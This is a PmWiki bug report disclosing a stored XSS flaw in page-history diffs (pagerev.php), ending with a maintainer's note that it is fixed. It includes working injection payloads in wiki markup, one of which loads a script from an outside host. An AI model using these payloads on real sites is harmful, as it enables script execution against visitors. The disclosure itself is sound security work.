01109: XSS vulnerability in pagerev
Description: My English is very bad, so I use Babelfish to translate one. As a reference, I append the original German text at the end of the report. (I hope someone here can read and understand ...)
I have through random one XSS vulnerability in pagerev found. Where the XSS code directly and without restrictions running. (See Example)
Very sneaky is the fact that it is not enough just to remove the attack code, because the history is not deleted. We must erase the entire page!
This bug has been PmWiki 2.1.beta2 up to the latest version 2.2.2 available.
I hope that I noted everything in this report and was able to express myself in spite of my language difficulties clearly and intelligibly.
Example:Some XSS-Attack Examples
(:table class="<script>alert('XSS-Alert')</script>":)
(:tableend:)
(:div id="<script src='http://mengelke.mine.nu/xss.js'></script>":)
(:divend:)
(:input hidden name="XSS" value="<script>document.write('Hello World!')</script>":)
[[{$FullName}?action=diff|Execute XSS-Test]] |
|
All examples can be tested also on my server: http://mengelke.mine.nu/pmwiki/pmwiki.php?n=Main.WikiSandbox
<German>
</German>
Thanks for your report. The pagerev.php script was fixed for the next version. --Petko July 10, 2009, at 04:30 AM